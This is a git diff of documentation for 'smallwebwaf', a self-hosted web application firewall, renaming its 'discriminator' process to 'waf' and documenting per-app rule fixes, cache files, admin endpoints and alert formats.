SWW_COMMAND: discriminator
|
SWW_COMMAND: waf
|
||||||
SWW_INSTANCE_NAME: fsn1/discriminator
|
SWW_INSTANCE_NAME: fsn1/waf
|
||||||
# Refuse nothing yet; log what enforce mode would have done.
|
# Refuse nothing yet; log what enforce mode would have done.
|
||||||
SWW_MODE: observe
|
SWW_MODE: observe
|
||||||
# Look addresses up in a local IPinfo Lite database, never GeoJS.
|
# Look addresses up in a local IPinfo Lite database, never GeoJS.
|
||||||
@@ -471,12 +471,12 @@ services:
|
|||||||
SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
|
SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
|
||||||
SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
|
SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
|
||||||
volumes:
|
volumes:
|
||||||
- discriminator-state:/var/lib/sww
|
- waf-state:/var/lib/sww
|
||||||
- /srv/ipinfo:/var/lib/ipinfo:ro
|
- /srv/ipinfo:/var/lib/ipinfo:ro
|
||||||
- /srv/sww/tokens:/etc/sww/tokens:ro
|
- /srv/sww/tokens:/etc/sww/tokens:ro
|
||||||
|
|
||||||
volumes:
|
volumes:
|
||||||
discriminator-state:
|
waf-state:
|
||||||
```
|
```
|
||||||
|
|
||||||
The database is mounted by its directory, not by file, so that a replaced
|
The database is mounted by its directory, not by file, so that a replaced
|
||||||
@@ -498,20 +498,21 @@ How it works inside. [`SPEC.md`](SPEC.md) gives every rule in full, and why.
|
|||||||
|
|
||||||
### What happens to a request
|
### What happens to a request
|
||||||
|
|
||||||
A request goes through these steps, in this order. Once `discriminator` refuses
|
A request goes through these steps, in this order. Once `waf` refuses a request,
|
||||||
a request, the steps after that are skipped, apart from the report, and nothing
|
the steps after that are skipped, apart from the report, and nothing of the
|
||||||
of the request reaches the app.
|
request reaches the app.
|
||||||
|
|
||||||
`rproxy` takes the first two:
|
`rproxy` takes the first two:
|
||||||
|
|
||||||
1. The health check, `GET /_sww/healthz`, is answered at once.
|
1. The health check, `GET /_sww/healthz`, is answered at once.
|
||||||
2. The visitor's address is worked out from `X-Forwarded-For`, believed only
|
2. The visitor's address is worked out from `X-Forwarded-For`, believed only
|
||||||
from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `discriminator` the request as
|
from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `waf` the request as the visitor
|
||||||
the visitor sent it, with the first 64 KiB of its body.
|
sent it, with the first 64 KiB of its body.
|
||||||
|
|
||||||
`discriminator` takes the checks:
|
`waf` takes the checks:
|
||||||
|
|
||||||
3. The tag lists.
|
3. The header limits, then the tag lists. A client in `SWW_ALLOW_NETS` skips the
|
||||||
|
header limits.
|
||||||
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
|
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
|
||||||
5. The bans.
|
5. The bans.
|
||||||
6. The lookup of the client's AS number and country.
|
6. The lookup of the client's AS number and country.
|
||||||
@@ -523,23 +524,23 @@ of the request reaches the app.
|
|||||||
11. The rate limits.
|
11. The rate limits.
|
||||||
12. The trap paths.
|
12. The trap paths.
|
||||||
13. The rule files.
|
13. The rule files.
|
||||||
14. The header limits, and then the Core Rule Set.
|
14. The Core Rule Set.
|
||||||
15. The tag refusals again, so that `exploitsignature` can refuse too.
|
15. The tag refusals again, so that `exploitsignature` can refuse too.
|
||||||
16. A path under `/_sww/` is answered `404`, so that the app never sees that
|
16. A path under `/_sww/` is answered `404`, so that the app never sees that
|
||||||
prefix.
|
prefix.
|
||||||
|
|
||||||
`rproxy` takes the rest, with `discriminator` counting at the end:
|
`rproxy` takes the rest, with `waf` counting at the end:
|
||||||
|
|
||||||
17. The request is passed to the app, streaming.
|
17. The request is passed to the app, streaming.
|
||||||
18. After the answer, `rproxy` sends `discriminator` a report with the status
|
18. After the answer, `rproxy` sends `waf` a report with the status and the body
|
||||||
and the body bytes each way. For an allowed request, `discriminator` counts
|
bytes each way. For an allowed request, `waf` counts the bytes
|
||||||
the bytes `SWW_BYTES_COUNT` names toward the byte limits, bans the client if
|
`SWW_BYTES_COUNT` names toward the byte limits, bans the client if they take
|
||||||
they take it past one, and adds the request to the client's history.
|
it past one, and adds the request to the client's history.
|
||||||
|
|
||||||
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
|
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
|
||||||
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
|
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
|
||||||
positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
|
positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
|
||||||
request over the header limits of step 14 is answered `431`, and bans nobody
|
request over the header limits of step 3 is answered `431`, and bans nobody
|
||||||
either. `rproxy` itself answers `405` to a method it does not pass on, and the
|
either. `rproxy` itself answers `405` to a method it does not pass on, and the
|
||||||
status for a size or time limit, such as `413` for a body too large.
|
status for a size or time limit, such as `413` for a body too large.
|
||||||
|
|
||||||
@@ -560,8 +561,8 @@ status for a size or time limit, such as `413` for a body too large.
|
|||||||
|
|
||||||
### Request tags
|
### Request tags
|
||||||
|
|
||||||
Each request gets tags from what `discriminator` knows of its client, written in
|
Each request gets tags from what `waf` knows of its client, written in the
|
||||||
the `tags` field of its log line:
|
`tags` field of its log line:
|
||||||
|
|
||||||
- `asn=<number>` and `country=<code>`, from the lookup;
|
- `asn=<number>` and `country=<code>`, from the lookup;
|
||||||
- one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit`
|
- one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit`
|
||||||
@@ -581,37 +582,72 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
||||||
front of a code forge, bodies carry what people write and publish, which the
|
front of a code forge, bodies carry what people write and publish, which the
|
||||||
rules take for attacks.
|
rules take for attacks.
|
||||||
- `smallwebwaf` changes the Core Rule Set in eleven ways so that ordinary
|
- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary
|
||||||
requests get through to a code forge, to WordPress, to Drupal and to
|
requests to a code forge through, such as git over HTTP and sign-in through
|
||||||
MediaWiki. They include git over HTTP and sign-in through Git Credential
|
Git Credential Manager. No setting undoes the changes; "Attack detection" in
|
||||||
Manager on a code forge, and saving a post from the block editor on WordPress.
|
|
||||||
On gitea's own paths, its searches, file names and branch names get through
|
|
||||||
too. On WordPress's own paths, its searches, names and file names do. On
|
|
||||||
Drupal's own paths, the page to return to, its searches and its names get
|
|
||||||
through too. On MediaWiki's own paths, its searches, page titles, names and
|
|
||||||
wikitext do. No setting undoes the changes; "Attack detection" in
|
|
||||||
[`SPEC.md`](SPEC.md) lists them.
|
[`SPEC.md`](SPEC.md) lists them.
|
||||||
- These apps work out of the box at the default settings, and their recorded
|
- Each supported app also has its own fixes, which let its ordinary requests
|
||||||
ordinary requests pass the Core Rule Set:
|
through. Its recorded ordinary requests pass the Core Rule Set at the default
|
||||||
- gitea;
|
settings. The supported apps, by their names in `SWW_APPS`, are:
|
||||||
- WordPress;
|
- `gitea`, whose fixes let its container registry, searches, file names,
|
||||||
- Drupal;
|
branch names and repository names through;
|
||||||
- MediaWiki.
|
- `forgejo`, a fork of gitea, which gets gitea's fixes too, and whose own
|
||||||
|
fixes let its searches through;
|
||||||
|
- `wordpress`, whose fixes let through its searches, its names, its file
|
||||||
|
names and a post saved from the block editor;
|
||||||
|
- `drupal`, whose fixes let through the page to return to, its searches and
|
||||||
|
its names;
|
||||||
|
- `mediawiki`, whose fixes let through its searches, its page titles, its
|
||||||
|
names and its wikitext;
|
||||||
|
- `mastodon`, whose fixes let through its searches, its names, its email
|
||||||
|
addresses, its posts and deliveries from other servers;
|
||||||
|
- `vaultwarden`, whose fixes let through its names, its password hints, its
|
||||||
|
email addresses and its encrypted file names;
|
||||||
|
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
|
||||||
|
its searches, its file names, its account names, its comments and its
|
||||||
|
documents;
|
||||||
|
- `ghost`, whose fixes let through its filters, its searches, its names, its
|
||||||
|
email addresses, its code injection, its settings and a post saved from
|
||||||
|
its editor, HTML included.
|
||||||
|
- A random password, as a password manager makes one, gets through these forms:
|
||||||
|
- signing in, signing up, and changing or resetting a password, on
|
||||||
|
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;
|
||||||
|
- moving or deleting the account, on Mastodon;
|
||||||
|
- deleting the account, on gitea;
|
||||||
|
- the admin page, on Vaultwarden, whose apps send a hash of the master
|
||||||
|
password, not the password itself.
|
||||||
|
- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own
|
||||||
|
apps' fixes. A hostname `SWW_APPS` does not list gets none. Unset, every app's
|
||||||
|
fixes apply to every hostname.
|
||||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||||
fields or paths.
|
fields or paths.
|
||||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||||
while `discriminator` runs. The image ships one file of probes no real visitor
|
while `waf` runs. The image ships one file of probes no real visitor sends
|
||||||
sends (see [`docs/rules.md`](docs/rules.md)).
|
(see [`docs/rules.md`](docs/rules.md)).
|
||||||
|
|
||||||
### State files
|
### State and cache files
|
||||||
|
|
||||||
`discriminator` keeps everything in memory, and the five JSON files in
|
`waf` keeps everything in memory, and JSON files hold a copy:
|
||||||
`SWW_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`,
|
|
||||||
`reputation.json` and `alerts.json`. Each is written whole, to a temporary file
|
- The state files, in `SWW_STATE_DIR`, hold what cannot be fetched again:
|
||||||
renamed over the real one, so a crash leaves a complete file. `discriminator`
|
- `bans.json`;
|
||||||
notices a file edited on disk and takes the edit in; an edit that does not parse
|
- `clients.json`;
|
||||||
is set aside as `<name>.bad`, and never stops the running process (see
|
- `abuseipdb-checks-spent.json`;
|
||||||
[`docs/state-files.md`](docs/state-files.md)).
|
- `alerts.json`.
|
||||||
|
- The cache files, in `SWW_CACHE_DIR`, hold answers from outside services:
|
||||||
|
- `lookups.json`, from GeoJS;
|
||||||
|
- `lists.json`, the lists fetched by URL;
|
||||||
|
- `dnsbl.json`, from the DNS blocklists;
|
||||||
|
- `abuseipdb-scores.json`, from AbuseIPDB;
|
||||||
|
- `routewatch.json`, from routewatch.
|
||||||
|
|
||||||
|
Back up the state directory. The cache directory can be left out of backups: a
|
||||||
|
lost cache file starts empty and fills again.
|
||||||
|
|
||||||
|
Each file is written whole, to a temporary file renamed over the real one, so a
|
||||||
|
crash leaves a complete file. `waf` notices a file edited on disk and takes the
|
||||||
|
edit in. An edit that does not parse is set aside as `<name>.bad`, and never
|
||||||
|
stops the running process (see [`docs/state-files.md`](docs/state-files.md)).
|
||||||
|
|
||||||
### The image and its processes
|
### The image and its processes
|
||||||
|
|
||||||
@@ -620,20 +656,19 @@ is set aside as `<name>.bad`, and never stops the running process (see
|
|||||||
`Dockerfile` installs a package with `nix-env -iA nixpkgs.<name>` and gets the
|
`Dockerfile` installs a package with `nix-env -iA nixpkgs.<name>` and gets the
|
||||||
same package each time it is built (see [`docs/image.md`](docs/image.md)).
|
same package each time it is built (see [`docs/image.md`](docs/image.md)).
|
||||||
- runit, a service supervisor, runs `sww` as the `sww` user (uid and gid 65532)
|
- runit, a service supervisor, runs `sww` as the `sww` user (uid and gid 65532)
|
||||||
and starts it again when it exits. The `run` script of `discriminator` gives
|
and starts it again when it exits. The `run` script of `waf` gives the state
|
||||||
the state directory to the `sww` user at each start, so a volume needs no
|
directory to the `sww` user at each start, so a volume needs no change of
|
||||||
change of owner.
|
owner. It makes the cache directory for that user too.
|
||||||
- `rproxy` and `discriminator` use no token between them. `discriminator`'s own
|
- `rproxy` and `waf` use no token between them. `waf`'s own endpoints, under
|
||||||
endpoints, under `/_sww/`, are for your admin tools and your metrics
|
`/_sww/`, are for your admin tools and your metrics collector, at its own
|
||||||
collector, at its own address on the private network; nothing routes the
|
address on the private network; nothing routes the internet there.
|
||||||
internet there.
|
|
||||||
- `docker stop` gives requests in progress five seconds to finish. With `rproxy`
|
- `docker stop` gives requests in progress five seconds to finish. With `rproxy`
|
||||||
in the app's container, the app must keep answering for five seconds after
|
in the app's container, the app must keep answering for five seconds after
|
||||||
`SIGTERM` for that to help them.
|
`SIGTERM` for that to help them.
|
||||||
- Only faults found at start stop a process: an invalid setting, a rule file or
|
- Only faults found at start stop a process: an invalid setting, a rule file or
|
||||||
state file that does not parse, a lookup database that cannot be read, or an
|
state file that does not parse, a lookup database that cannot be read, or an
|
||||||
address it cannot listen on. Once running, a failing lookup service,
|
address it cannot listen on. Once running, a failing lookup service,
|
||||||
reputation source or alert destination never takes `discriminator` down.
|
reputation source or alert destination never takes `waf` down.
|
||||||
|
|
||||||
### Packages
|
### Packages
|
||||||
|
|
||||||
@@ -641,15 +676,15 @@ is set aside as `<name>.bad`, and never stops the running process (see
|
|||||||
- `internal/sww`: the process, as the command it is given, and the health check.
|
- `internal/sww`: the process, as the command it is given, and the health check.
|
||||||
- `internal/config`: reads the settings, the one place they are read.
|
- `internal/config`: reads the settings, the one place they are read.
|
||||||
- `internal/rproxy`: the reverse proxy in front of one app.
|
- `internal/rproxy`: the reverse proxy in front of one app.
|
||||||
- `internal/discriminator`: `discriminator`'s server, which runs the checks and
|
- `internal/waf`: `waf`'s server, which runs the checks and answers its own
|
||||||
answers its own endpoints.
|
endpoints.
|
||||||
- `internal/ratelimit`, `internal/bans`, `internal/rules`,
|
- `internal/ratelimit`, `internal/bans`, `internal/rules`,
|
||||||
`internal/coreruleset`, `internal/lookup`, `internal/reputation`,
|
`internal/coreruleset`, `internal/lookup`, `internal/reputation`,
|
||||||
`internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or
|
`internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or
|
||||||
source each.
|
source each.
|
||||||
- `internal/state`, `internal/requestlog`, `internal/remotelog` and
|
- `internal/state`, `internal/requestlog`, `internal/remotelog` and
|
||||||
`internal/metrics`: the state files, the log lines, the syslog sender and the
|
`internal/metrics`: the state and cache files, the log lines, the syslog
|
||||||
metrics.
|
sender and the metrics.
|
||||||
|
|
||||||
## Rationale
|
## Rationale
|
||||||
|
|
||||||
@@ -683,20 +718,29 @@ on the host.
|
|||||||
- `script/bootstrap`: installs on the host what the other scripts need, with
|
- `script/bootstrap`: installs on the host what the other scripts need, with
|
||||||
`make bootstrap`:
|
`make bootstrap`:
|
||||||
- `make`, `git` and `curl`;
|
- `make`, `git` and `curl`;
|
||||||
- Go, for `gofmt`;
|
- Go, for `gofmt` and to build `golines`;
|
||||||
|
- `golines`, at a pinned version, with `go install`;
|
||||||
- node, yarn and prettier.
|
- node, yarn and prettier.
|
||||||
- `script/setup`: readies a fresh clone: `script/bootstrap`, then
|
- `script/setup`: readies a fresh clone: `script/bootstrap`, then
|
||||||
`script/install-precommit`. `make setup`.
|
`script/install-precommit`. `make setup`.
|
||||||
- `script/projectname`: prints `smallwebwaf`, which the other scripts tag their
|
- `script/projectname`: prints `smallwebwaf`, which the other scripts tag their
|
||||||
images with.
|
images with.
|
||||||
- `script/test`: checks that `go.mod` and `go.sum` are tidy, then runs the
|
- `script/test`: checks that `go.mod` and `go.sum` are tidy, then runs the
|
||||||
tests, as the `test` phase of the `Dockerfile`. `make test`.
|
tests, as the `test` phase of the `Dockerfile`, in two passes. `make test`.
|
||||||
|
- The first runs every package's tests with the race detector. Of the Core
|
||||||
|
Rule Set's tests, it runs only those written to check concurrent
|
||||||
|
inspection, whose names start with `TestConcurrent`.
|
||||||
|
- The second runs the Core Rule Set's other tests without the race detector,
|
||||||
|
the recorded requests among them.
|
||||||
- `script/tidy`: writes `go.mod` and `go.sum` as `go mod tidy` writes them, in
|
- `script/tidy`: writes `go.mod` and `go.sum` as `go mod tidy` writes them, in
|
||||||
the `tidy` stage of the `Dockerfile`. `make tidy`.
|
the `tidy` stage of the `Dockerfile`. `make tidy`.
|
||||||
- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
|
- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
|
||||||
`make lint`.
|
`make lint`.
|
||||||
- `script/fmt`: formats the Go code with `gofmt` and the Markdown with prettier.
|
- `script/fmt`: formats the Go code with `gofmt` and then `golines -m 77`, and
|
||||||
`make fmt`.
|
the Markdown with prettier. `make fmt`.
|
||||||
|
- `golines` wraps code at 77 columns but leaves comments and strings alone.
|
||||||
|
Wrap those by hand.
|
||||||
|
- The linter fails only lines longer than 88 columns.
|
||||||
- `script/fmt-check`: checks the formatting and changes nothing.
|
- `script/fmt-check`: checks the formatting and changes nothing.
|
||||||
`make fmt-check`.
|
`make fmt-check`.
|
||||||
- `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`.
|
- `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`.
|
||||||
@@ -717,25 +761,26 @@ on the host.
|
|||||||
- `script/precommit`: run by the git pre-commit hook; runs `script/check`.
|
- `script/precommit`: run by the git pre-commit hook; runs `script/check`.
|
||||||
- `script/install-precommit`: installs that hook. `make hooks`.
|
- `script/install-precommit`: installs that hook. `make hooks`.
|
||||||
- `script/build`: builds `bin/sww` with the Go on your host. `make build`.
|
- `script/build`: builds `bin/sww` with the Go on your host. `make build`.
|
||||||
- `script/run`: builds `bin/sww` and runs `discriminator` and `rproxy` on the
|
- `script/run`: builds `bin/sww` and runs `waf` and `rproxy` on the host, with
|
||||||
host, with the settings in your environment. `make run`. Unless your settings
|
the settings in your environment. `make run`. Unless your settings say
|
||||||
say otherwise:
|
otherwise:
|
||||||
- `rproxy` listens on port 8080, in front of an app at
|
- `rproxy` listens on port 8080, in front of an app at
|
||||||
`http://127.0.0.1:8081`;
|
`http://127.0.0.1:8081`;
|
||||||
- `discriminator` listens on port 8090;
|
- `waf` listens on port 8090;
|
||||||
- its state files go in `bin/state`;
|
- its state files go in `bin/state`;
|
||||||
|
- its cache files go in `bin/cache`;
|
||||||
- its rule files are those of `share/rules.d`.
|
- its rule files are those of `share/rules.d`.
|
||||||
- `script/example-app`: builds the image and the example app
|
- `script/example-app`: builds the image and the example app
|
||||||
(`deploy/example-app`) on it, runs the app with `rproxy` in its container and
|
(`deploy/example-app`) on it, runs the app with `rproxy` in its container and
|
||||||
`discriminator` in another, and checks them. Then it removes the containers,
|
`waf` in another, and checks them. Then it removes the containers, the
|
||||||
the network, the volumes and the images. Needs network access.
|
network, the volumes and the images. Needs network access. `make example-app`.
|
||||||
`make example-app`. It checks:
|
It checks:
|
||||||
- the health checks;
|
- the health checks;
|
||||||
- a request passed to the app;
|
- a request passed to the app;
|
||||||
- a ban for a broken limit, and a ban for a probe made permanent;
|
- a ban for a broken limit, and a ban for a probe made permanent;
|
||||||
- that only `discriminator`'s container changes the state directory's owner;
|
- that only `waf`'s container changes the state directory's owner;
|
||||||
- with `discriminator` stopped, the app still answering through `rproxy`;
|
- with `waf` stopped, the app still answering through `rproxy`;
|
||||||
- with `discriminator` started again, bans applying again;
|
- with `waf` started again, bans applying again;
|
||||||
- orderly stops with `sv stop` and `docker stop`;
|
- orderly stops with `sv stop` and `docker stop`;
|
||||||
- bans surviving a new container on the same volume;
|
- bans surviving a new container on the same volume;
|
||||||
- a setting given as a file.
|
- a setting given as a file.
|
||||||
@@ -760,8 +805,8 @@ on the host.
|
|||||||
- [`docs/alerts.md`](docs/alerts.md): the alert events and what each destination
|
- [`docs/alerts.md`](docs/alerts.md): the alert events and what each destination
|
||||||
gets.
|
gets.
|
||||||
- [`docs/metrics.md`](docs/metrics.md): the metrics.
|
- [`docs/metrics.md`](docs/metrics.md): the metrics.
|
||||||
- [`docs/state-files.md`](docs/state-files.md): the state files and what each
|
- [`docs/state-files.md`](docs/state-files.md): the state and cache files and
|
||||||
holds.
|
what each holds.
|
||||||
- [`docs/image.md`](docs/image.md): what the image holds and how it is pinned.
|
- [`docs/image.md`](docs/image.md): what the image holds and how it is pinned.
|
||||||
|
|
||||||
## License
|
## License
|
||||||
|
|||||||
+2
-2
@@ -1,6 +1,6 @@
|
|||||||
// Command sww is a web application firewall. `sww rproxy` is the reverse
|
// Command sww is a web application firewall. `sww rproxy` is the reverse
|
||||||
// proxy in front of one app, which asks discriminator about each request.
|
// proxy in front of one app, which asks waf about each request.
|
||||||
// `sww discriminator` decides, for many sites, and keeps what lasts. `sww
|
// `sww waf` decides, for many sites, and keeps what lasts. `sww
|
||||||
// healthcheck` is the container's health check. Everything it does is in
|
// healthcheck` is the container's health check. Everything it does is in
|
||||||
// internal/sww.
|
// internal/sww.
|
||||||
package main
|
package main
|
||||||
|
|||||||
+17
-17
@@ -1,8 +1,8 @@
|
|||||||
# Admin endpoints
|
# Admin endpoints
|
||||||
|
|
||||||
The endpoints under `/_sww/`, what each takes and what each answers.
|
The endpoints under `/_sww/`, what each takes and what each answers. `sww waf`
|
||||||
`sww discriminator` answers them at its own address, on the private network.
|
answers them at its own address, on the private network. "Admin endpoints" in
|
||||||
"Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
|
[`SPEC.md`](../SPEC.md) says how their tokens work.
|
||||||
|
|
||||||
- `GET /_sww/healthz`: `200` and `ok`, to anyone.
|
- `GET /_sww/healthz`: `200` and `ok`, to anyone.
|
||||||
- `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
|
- `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
|
||||||
@@ -20,10 +20,10 @@ The endpoints under `/_sww/`, what each takes and what each answers.
|
|||||||
- one that names an IPv4-mapped netblock, or an address with a zone.
|
- one that names an IPv4-mapped netblock, or an address with a zone.
|
||||||
- `DELETE /_sww/bans/<client>`: lifts every active ban covering the address
|
- `DELETE /_sww/bans/<client>`: lifts every active ban covering the address
|
||||||
`<client>`. It answers `404` when none is active.
|
`<client>`. It answers `404` when none is active.
|
||||||
- `GET /_sww/clients/<ip>`: what `discriminator` knows of the client. Under
|
- `GET /_sww/clients/<ip>`: what `waf` knows of the client. Under `client`, its
|
||||||
`client`, its counters and history as `clients.json` holds them, or `null`
|
counters and history as `clients.json` holds them, or `null` when
|
||||||
when `clients.json` does not hold it. Under `bans`, every ban covering the
|
`clients.json` does not hold it. Under `bans`, every ban covering the address,
|
||||||
address, with its notes.
|
with its notes.
|
||||||
- `POST /_sww/report`: takes `rproxy`'s report, without a token. It answers
|
- `POST /_sww/report`: takes `rproxy`'s report, without a token. It answers
|
||||||
`204`, or `400` to a body that is no report (see "The report" in
|
`204`, or `400` to a body that is no report (see "The report" in
|
||||||
[`SPEC.md`](../SPEC.md)).
|
[`SPEC.md`](../SPEC.md)).
|
||||||
@@ -32,29 +32,29 @@ No check runs on these requests. A missing or wrong token is answered `401`. An
|
|||||||
endpoint whose token is unset answers `404`, as does any other path.
|
endpoint whose token is unset answers `404`, as does any other path.
|
||||||
|
|
||||||
`sww rproxy` answers only the health check of these, at its own address. It asks
|
`sww rproxy` answers only the health check of these, at its own address. It asks
|
||||||
`discriminator` about any other request under `/_sww/`. One that passes the
|
`waf` about any other request under `/_sww/`. One that passes the checks is
|
||||||
checks is answered `404`, so that the app never sees that prefix (see "`rproxy`"
|
answered `404`, so that the app never sees that prefix (see "`rproxy`" in
|
||||||
in [`SPEC.md`](../SPEC.md)).
|
[`SPEC.md`](../SPEC.md)).
|
||||||
|
|
||||||
## Examples
|
## Examples
|
||||||
|
|
||||||
With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `discriminator` reached
|
With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `waf` reached as
|
||||||
as `discriminator:8080` on its network:
|
`waf:8080` on its network:
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
# Every ban.
|
# Every ban.
|
||||||
curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/bans
|
curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/bans
|
||||||
|
|
||||||
# Ban 203.0.113.0/24 for seven days.
|
# Ban 203.0.113.0/24 for seven days.
|
||||||
curl -H "Authorization: Bearer $TOKEN" \
|
curl -H "Authorization: Bearer $TOKEN" \
|
||||||
--json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
|
--json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
|
||||||
http://discriminator:8080/_sww/bans
|
http://waf:8080/_sww/bans
|
||||||
|
|
||||||
# Lift the bans on 203.0.113.9.
|
# Lift the bans on 203.0.113.9.
|
||||||
curl -H "Authorization: Bearer $TOKEN" -X DELETE \
|
curl -H "Authorization: Bearer $TOKEN" -X DELETE \
|
||||||
http://discriminator:8080/_sww/bans/203.0.113.9
|
http://waf:8080/_sww/bans/203.0.113.9
|
||||||
|
|
||||||
# What discriminator knows of 203.0.113.9.
|
# What waf knows of 203.0.113.9.
|
||||||
curl -H "Authorization: Bearer $TOKEN" \
|
curl -H "Authorization: Bearer $TOKEN" \
|
||||||
http://discriminator:8080/_sww/clients/203.0.113.9
|
http://waf:8080/_sww/clients/203.0.113.9
|
||||||
```
|
```
|
||||||
+8
-8
@@ -6,7 +6,7 @@ back or dropped.
|
|||||||
|
|
||||||
## Events
|
## Events
|
||||||
|
|
||||||
- `ban`: a ban `discriminator` made.
|
- `ban`: a ban `waf` made.
|
||||||
- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
|
- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
|
||||||
a request.
|
a request.
|
||||||
- `core_rule_set_match`: the Core Rule Set scored a request at or over the
|
- `core_rule_set_match`: the Core Rule Set scored a request at or over the
|
||||||
@@ -23,7 +23,8 @@ back or dropped.
|
|||||||
- the day's AbuseIPDB checks used up.
|
- the day's AbuseIPDB checks used up.
|
||||||
- `file_error`: one of:
|
- `file_error`: one of:
|
||||||
- a rule file or state file edit with an error;
|
- a rule file or state file edit with an error;
|
||||||
- a state file that cannot be written;
|
- a cache file that does not parse, at start or after an edit;
|
||||||
|
- a state file or cache file that cannot be written;
|
||||||
- a replacement lookup database that cannot be read.
|
- a replacement lookup database that cannot be read.
|
||||||
- `summary`: the hourly summary of alerts held back.
|
- `summary`: the hourly summary of alerts held back.
|
||||||
|
|
||||||
@@ -34,7 +35,7 @@ on one line:
|
|||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"instance": "fsn1/discriminator",
|
"instance": "fsn1/waf",
|
||||||
"time": "2026-10-06T12:00:50.123461Z",
|
"time": "2026-10-06T12:00:50.123461Z",
|
||||||
"event": "ban",
|
"event": "ban",
|
||||||
"host": "app.example",
|
"host": "app.example",
|
||||||
@@ -79,9 +80,8 @@ on one line:
|
|||||||
|
|
||||||
- `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
|
- `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
|
||||||
one of the events above.
|
one of the events above.
|
||||||
- `host`: the site of the request that raised the alert, since one
|
- `host`: the site of the request that raised the alert, since one `waf` serves
|
||||||
`discriminator` serves many sites. It is left out of `source_failure`,
|
many sites. It is left out of `source_failure`, `file_error` and `summary`.
|
||||||
`file_error` and `summary`.
|
|
||||||
- `client`: the address whose request raised the alert. Empty for
|
- `client`: the address whose request raised the alert. Empty for
|
||||||
`source_failure`, `file_error` and `summary`.
|
`source_failure`, `file_error` and `summary`.
|
||||||
- `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
|
- `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
|
||||||
@@ -111,8 +111,8 @@ on one line:
|
|||||||
## Slack and ntfy
|
## Slack and ntfy
|
||||||
|
|
||||||
Slack and ntfy get a message with a title and a text. The title is the instance
|
Slack and ntfy get a message with a title and a text. The title is the instance
|
||||||
and the event, such as `fsn1/discriminator: ban`. The text is the `reason`, then
|
and the event, such as `fsn1/waf: ban`. The text is the `reason`, then one line
|
||||||
one line for each of these that the alert has:
|
for each of these that the alert has:
|
||||||
|
|
||||||
- the host, the client, the netblock and the country;
|
- the host, the client, the netblock and the country;
|
||||||
- the file, the source, the error and the mode from `detail`;
|
- the file, the source, the error and the mode from `detail`;
|
||||||
|
|||||||
+6
-5
@@ -1,9 +1,9 @@
|
|||||||
# What the image holds
|
# What the image holds
|
||||||
|
|
||||||
The contents of the `smallwebwaf` image, and how each part is pinned. The image
|
The contents of the `smallwebwaf` image, and how each part is pinned. The image
|
||||||
runs `rproxy` by default, or `discriminator` with `SWW_COMMAND=discriminator`.
|
runs `rproxy` by default, or `waf` with `SWW_COMMAND=waf`. "Deployment" in
|
||||||
"Deployment" in [`SPEC.md`](../SPEC.md) says why each part is there and why it
|
[`SPEC.md`](../SPEC.md) says why each part is there and why it is pinned that
|
||||||
is pinned that way.
|
way.
|
||||||
|
|
||||||
## Contents
|
## Contents
|
||||||
|
|
||||||
@@ -18,8 +18,9 @@ is pinned that way.
|
|||||||
- The `sww` binary, and the user `sww` (uid and gid 65532).
|
- The `sww` binary, and the user `sww` (uid and gid 65532).
|
||||||
- The service directory `/etc/service/sww`, with the `run` script
|
- The service directory `/etc/service/sww`, with the `run` script
|
||||||
`share/sww.run`.
|
`share/sww.run`.
|
||||||
